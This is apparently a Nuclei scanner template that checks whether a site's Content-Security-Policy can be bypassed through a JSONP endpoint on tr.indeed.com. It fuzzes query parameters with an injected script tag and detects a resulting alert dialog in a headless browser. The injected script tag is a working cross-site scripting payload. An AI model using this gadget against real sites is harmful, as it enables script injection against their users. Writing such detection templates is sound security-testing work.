id: indeed-tr-csp-bypass
info:
name: Content-Security-Policy Bypass - Indeed TR
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,indeed-tr,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "indeed.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: indeed_tr_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://tr.indeed.com/m/newjobs?q=&l=&ts=1734358724474&callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "indeed_tr_csp_xss == true"
# digest: 4a0a00473045022100e90eb7d5defb8528b8745c75b8c7b8c76293b86b66b3081c76538f9e3b10b3f6022008de5be8f59beb2e3a4f5ef079a88155f9732a23fd9968889943776038c5d99d:922c64590222798bb761d5b6d8e72950